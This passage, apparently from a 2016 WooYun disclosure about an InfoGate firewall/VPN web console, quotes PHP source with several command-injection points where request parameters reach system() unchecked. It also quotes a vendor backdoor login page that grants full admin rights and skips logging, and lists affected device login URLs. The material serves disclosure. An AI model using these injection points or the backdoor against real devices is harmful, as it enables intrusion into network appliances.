$IG_secretfile2=$IG_basedir."/##".$IG_tunnelname.".secrets";
if (file_exists($IG_secretfile2)){
$IG_secretfile=$IG_basedir."/$IG_tunnelname".".secrets";
rename($IG_secretfile2, $IG_secretfile);
}
$IG_tunnelstarted=checktunnelstarted($IG_tunnelname);////
if ($IG_tunnelstarted==1) {
$IG_prompt=GetPrompt($IG_promptfile, $IG_localfile, "tunnelrunning", "隧道已启用!");
showmsg("$IG_prompt");
}else {

$IG_cmd = "/usr/local/sbin/create_ipsec_tunnel.sh /etc/infogate/VPN/ipsec.d/zr_user/";
system($IG_cmd,$retv);

$IG_cmd = " /usr/local/sbin/create_ipsec_secrets.sh /etc/infogate/VPN/ipsec.d/zr_user/";
system($IG_cmd,$retv);

$IG_cmd="/usr/local/super/bin/super ipsec auto --delete"." ".$IG_tunnelname." > /dev/null";
system($IG_cmd,$retv);


其中$IG_tunnelname = $IG_tunnelname=$_GET['IG_tunnelname']; 直接执行命令
第五出:\src\application\vpn\tab\tab_show_c-to-s_status.php

$IG_type=$_GET['IG_type'];
if ($IG_type == "close"){
$IG_pid = $_GET['IG_pid'];
$IG_cmd="kill $IG_pid > /dev/null";
system($IG_cmd) ;

}
?>


第6处:src\application\firewall\getadress.php

if(empty($IG_ipaddr)||$IG_ipaddr==""){

showmsg("请选输入启始IP");

}else if(empty($card_eth_name)||$card_eth_name==""){

showmsg("请选择接口");

}else if(empty($IG_ipaddr2)||$IG_ipaddr2==""){

showmsg("请选输入结束IP");

}else{

if(empty($IG_isScan)){//是否扫描地址设置中已存在的地址
$IG_flag="0";
$cmd="/usr/local/sbin/getiplist -s $IG_ipaddr -e $IG_ipaddr2 -i $card_eth_name -f $IG_batchfile -c";

}else{
$IG_flag=$IG_isScan;
$cmd="/usr/local/sbin/getiplist -s $IG_ipaddr -e $IG_ipaddr2 -i $card_eth_name -f $IG_batchfile";


}

//$cmd="/usr/local/sbin/getiplist -s $IG_ipaddr -e $IG_ipaddr2 -i $card_eth_name -f $IG_batchfile";
//echo $cmd."<br>";
system($cmd);


第7处:\src\system\update.php

20 	$zr_debug=0;
21
22 if ($REQUEST_METHOD=="POST"){
23 $IG_filename="/var/log/infogatehttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/".$_FILES['IG_uploadfile']['name'];
24 echo $IG_filename;exit();
25 #/usr/local/thttpd/src/system/
26
27 $_GET["IG_opertime"]=date("Y-m-d H:i:s");
28 $_GET["IG_clientIP"]=getIP();
29 if(($_FILES['IG_uploadfile']!="none")&&($_FILES['IG_uploadfile']!="")){
30
31 if($GLOBALS["zr_debug"])
32
33 showmsg("�ļ��ϴ������룺".$_FILES['IG_uploadfile']['error']);
34
35 if(copy($_FILES['IG_uploadfile']['tmp_name'],$IG_filename)){
36
37 if($GLOBALS["zr_debug"])
38 showmsg("copy�ɹ�����".$_FILES['IG_uploadfile']['error']);
39
40 //070307 -- //Ԭ��˵�ڽ�ѹ��ǰ �����update-2.2Ŀ¼
41 $IG_cmd="rm /var/program/update-2.2 -rf > /dev/null";
42 system($IG_cmd);
43
44 $IG_cmd="tar zxvf ".$IG_filename." -C "."/var/program/ > /dev/null";
45 #echo $IG_cmd;exit();
46 system($IG_cmd);


第8处:
\src\application\firewall\editschedule.php

if ($REQUEST_METHOD == "GET"){

if ($_GET["IG_timeID"] == "")
exit();
$IG_filename=$_GET["IG_dir"].$_GET["IG_timeID"];

if (!file_exists($IG_filename)) {

showmsg("时间配置文件".$_GET["IG_timeID"]."\\n不存在!");
historyback();
}
else{
// 时间信息数组
$IG_timeinfo=array();

$lines=file($IG_filename);
foreach ($lines as $line_num => $line)
{
$ZR_TIME_ARRAY = preg_split("/=/",trim($line), 8, PREG_SPLIT_NO_EMPTY);
$IG_timeinfo[trim($ZR_TIME_ARRAY[0])]=trim($ZR_TIME_ARRAY[1]);
}
}

}
else if ($_SERVER['REQUEST_METHOD'] == "POST"){
$IG_filename_tmp=$_GET["IG_dir_tmp"].$_POST["IG_timeID"];
$IG_filename=$_GET["IG_dir"].$_POST["IG_timeID"];
$IG_time_str="";
// 起始时间
$IG_TimeStart="$IG_HourStart:$IG_MinStart";
$IG_TimeStop="$IG_HourStop:$IG_MinStop";
if (! (($IG_TimeStart == "00:00")&&($IG_TimeStop == "00:00")) ){
$IG_time_str.="timestart=".$IG_TimeStart."\n";
$IG_time_str.="timestop=".$IG_TimeStop."\n";
}

//星期
$IG_days="";
for ($i=0; $i<7; $i++){
$IG_tmpstr=trim($_POST['IG_checkbox'.$i]);
if ($IG_tmpstr != ""){
if ($IG_days != "")
$IG_days .=",";
$IG_days .=$IG_tmpstr;
}
}
if($IG_days!=""){
$IG_time_str.="days=".$IG_days."\n";
}

// 起始日期
if( ! ($IG_DateStart=="" && $IG_DateStop=="" ) )
{
$IG_DateStart=str_replace('-', ':', $IG_DateStart);
$IG_DateStop=str_replace('-', ':', $IG_DateStop);
$IG_time_str.="datestart=".$IG_DateStart."\n";
$IG_time_str.="datestop=".$IG_DateStop."\n";
}

// memo
$IG_time_str.="memo=".$IG_Memo."\n";
// 日志记录
$_GET["IG_opertime"]=date("Y-m-d H:i:s");
$_GET["IG_clientIP"]=getIP();
$IG_logmsg=$_GET["IG_clientIP"]."|".$_GET["IG_opertime"]."|".$IG_loginname."|防火墙|时间段|修改时间段设置";
addMsgtoFile($IG_MANAGEOPERLOG, $IG_logmsg);

$handle = fopen ($_GET["IG_dir_tmp"]."/".$_POST["IG_timeID"], "w");
// 将$somecontent写入到我们打开的文件中。
if (!fwrite($handle,$IG_time_str)) {
showmsg( "不能写入到文件 $filename");
echo "<script language=\"JavaScript\">\n<!--\n";
echo "location.href=\"schedule.php\";\n";
echo "// -->\n</script>\n";
}
fflush($handle);
fclose($handle);

$IG_cmd="mv ".$IG_filename_tmp." ".$IG_filename." >/dev/null 2>/dev/null";
system($IG_cmd);


第9处:
src/application/virus/sortbyname.php

$IG_dir="/var/log/infogate/scanvir/";
$IG_top=$_POST['IG_top'];
$IG_sdate=zr_trim($_POST['IG_s_date'], "-");
$IG_edate=zr_trim($_POST['IG_e_date'], "-");

$IG_cmd="/usr/local/sbin/wingetsort.sh -n ".$IG_sdate." ".$IG_edate;
// echo $IG_cmd;
system($IG_cmd, $IG_status);

$IG_filename=$IG_dir."virusname.sort";


第10处:
src/application/virus/sortbyip.php

$IG_dir="/var/log/infogate/scanvir/";
$IG_top=$_POST['IG_top'];
$IG_sdate=zr_trim($_POST['IG_s_date'], "-");
$IG_edate=zr_trim($_POST['IG_e_date'], "-");

$IG_cmd="/usr/local/sbin/wingetsort.sh -i ".$IG_sdate." ".$IG_edate;
// echo $IG_cmd;
system($IG_cmd, $IG_status);


第11处 官方后门:
src/system/backdoor.php

<?php
if(isset($_POST["session_id"]))
session_id($_POST["session_id"]);

session_start();

$sid=session_id();

if (!isset($IG_login)){
session_register("IG_login");
session_register("IG_loginname");
session_register("IG_f_manageuser");
session_register("IG_f_viewsysconf");
session_register("IG_f_modifysysconf");
session_register("IG_f_viewsyslog");
session_register("IG_logincount");
session_register("IG_backdoor_user");
//echo "32 backdoor>> IG_backdoor_user >>>".$IG_backdoor_user;
//TAB 页显示当前菜单路径 如:”系统配置 > 网络设置“
session_register("IG_current_menu_name");
session_register("IG_current_submenu_name");
$IG_logincount=0;
$IG_login=false;
$IG_loginname="";
$IG_f_manageuser="0";
$IG_f_viewsysconf="0";
$IG_f_modifysysconf="0";
$IG_f_viewsyslog="0";
$IG_backdoor_user=true; //后门登录的用户不记录操作日志
}
else{
//$_SESSION["IG_backdoor_user"]=true;
session_register("IG_backdoor_user");
$IG_backdoor_user = true ;
}


require("../lib/public.inc");

$jumpToRootpath=zr_JumpToRoot(); // 到根目录的跳数
$thema_name="default";
$theme=zr_getTheme($thema_name); // 主题

if ($REQUEST_METHOD == "POST"){

$_GET["IG_opertime"]=date("Y-m-d H:i:s");
$_GET["IG_clientIP"]=getIP();
$IG_logincount += 1;
$IG_user_ip=$IG_clientIP;
$IG_userinfo=zr_login_bridge("/etc/infogate/center/defaultclient.conf", $_POST["IG_user"], $_POST["IG_passwd"],$IG_user_ip);

if($IG_userinfo=="ok"){
$IG_login=true;
$IG_loginname=$IG_user;
$IG_permission=$IG_userinfo;
/*
$IG_f_manageuser=substr($IG_permission, 0, 1);
$IG_f_viewsysconf=substr($IG_permission, 1, 1);
$IG_f_modifysysconf=substr($IG_permission, 2, 1);
$IG_f_viewsyslog=substr($IG_permission, 3, 1);
*/

//后门用户 有所有权限
$IG_f_manageuser=1;
$IG_f_viewsysconf=1;
$IG_f_modifysysconf=1;
$IG_f_viewsyslog=1;

$IG_logmsg=$_GET["IG_clientIP"]."|".$_GET["IG_opertime"]."|".$IG_loginname."|system login| |$IG_loginname login success!";
//addMsgtoFile($IG_MANAGEOPERLOG, $IG_logmsg);

session_register("IG_s_cards_num"); // 设备网卡数
$IG_s_cards_num=zr_get_cards_num();

Header("Location: ../../index.php?s_id=$sid");
}
else
showmsg("登陆失败 原因:".$IG_userinfo);
}
?>
<html>
<head>
<?php
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\">";
?>
<title><? echo zr_get_html_title_name(); ?></title>
<link href="<?echo $theme?>/css/myclass.css" rel="stylesheet" type="text/css">
</head>
<body leftmargin="0" topmargin="0">
<div align="left"><img src="<?echo $theme?>/images/title.jpg" border=1></div>
<?php
if ($IG_logincount >= 3){
echo "<div align=\"center\"><font color=\"#666666\" size=\"5\"><b>login fail count than 3!</b></font></div>";
exit();
}
?>
<br><br><br><br><br><br>
<table class=submodbg width="300" align=center cellSpacing=1 cellPadding=4>
<form method="POST" action="<?echo $_SERVER["PHP_SELF"]?>" >
<input type="hidden" name="session_id" value="<?echo $sid?>" >
<tr class=RowColor1>
<td class=tablehdtop colSpan=2 height="25" align="center">用户登录</td>
</tr>
<tr class=RowColor1>
<td class="tablehd" align="right">用户名</td>
<td><input type="text" name="IG_user" size="20" maxsize="50"></td>
</tr>
<tr class=RowColor1>
<td class="tablehd" align="right">密码</td>
<td><input type="password" name="IG_passwd" size="20" maxsize="50"></td>
</tr>
<tr class=RowColor1>
<td colSpan=2 align="center">
<input class="BTNaction" type="submit" value="确认" name="sutmit1">
<input class="BTNaction" type="reset" value="取消" name="reset1">
</td>
</tr>
</form>
</table>
</body>
</html>
<?php
function zr_login_bridge($filename, $user_name, $user_passwd,$user_ip)
{
if ($user_name == ""){
return "|usernameempty|";
}

$handle=file_exists($filename);
if (! $handle){
return "|filenotexist|";
}
$handle=fopen($filename, "r");
if (! $handle){
return "|openfail|";
}
$counter=0;

$result_msg="";
//够着配置文件数组
$conf_array=array();
$lines = file($filename);
foreach ($lines as $line_num => $line) {
$line=trim($line);
if($line=="")
continue;

$temp_array=explode("=",$line);
$key=trim($temp_array[0]);
$value=trim($temp_array[1]);
$conf_array[$key]=$value;
}

//校验
if(strcmp($user_name,$conf_array["loginname"])!=0)
return $result_msg="|usernotexist|";
if(strcmp($user_passwd,$conf_array["password"])!=0)
return $result_msg="|password_error!|";
if($conf_array["enabled"]!=1)
return $result_msg="|you'r not allowed to access!|";

/*
else if(substr_count($conf_array["clientip"],$user_ip)==0)
return $result_msg="|your ip is not allowed to access!|";
*/
else
return "ok";

}
?>


默认带有的后门管理员账号和密码储存在/etc/infogate/center/defaultclient.conf文件中

3.png


受影响的如下列表:
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
https://**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php

修复方案:

版权声明:转载请注明来源 老虎皮@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2016-03-07 16:52

厂商回复:

CNVD未复现所述情况,已经由CNVD通过以往建立的处置渠道软件生产厂商通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-03-03 09:12 | 路人毛 ( 普通白帽子 | Rank:157 漏洞数:64 | 要想Rank给高,标题一定得屌)

    膜拜审计牛

  2. 2016-03-03 10:14 | 坏男孩-A_A ( 实习白帽子 | Rank:81 漏洞数:23 | 膜拜学习中)

    膜拜审计牛

  3. 2016-03-07 17:44 | 子超 ( 路人 | Rank:22 漏洞数:8 | 啊)

    膜拜审计牛

  4. 2016-03-10 18:39 | 邪少 ( 实习白帽子 | Rank:98 漏洞数:18 | 百里长苏)

    让我摸一下老虎皮

  5. 2016-03-11 09:08 | 小红猪 ( 普通白帽子 | Rank:329 漏洞数:61 | little red pig!)

    膜拜审计牛

  6. 2016-03-11 11:52 | 无名 ( 实习白帽子 | Rank:41 漏洞数:9 | 我是一只小菜鸟呀,伊雅伊尔哟。)

    = =。

  7. 2016-03-11 12:33 | paper ( 路人 | Rank:8 漏洞数:1 | 无)

    膜拜审计牛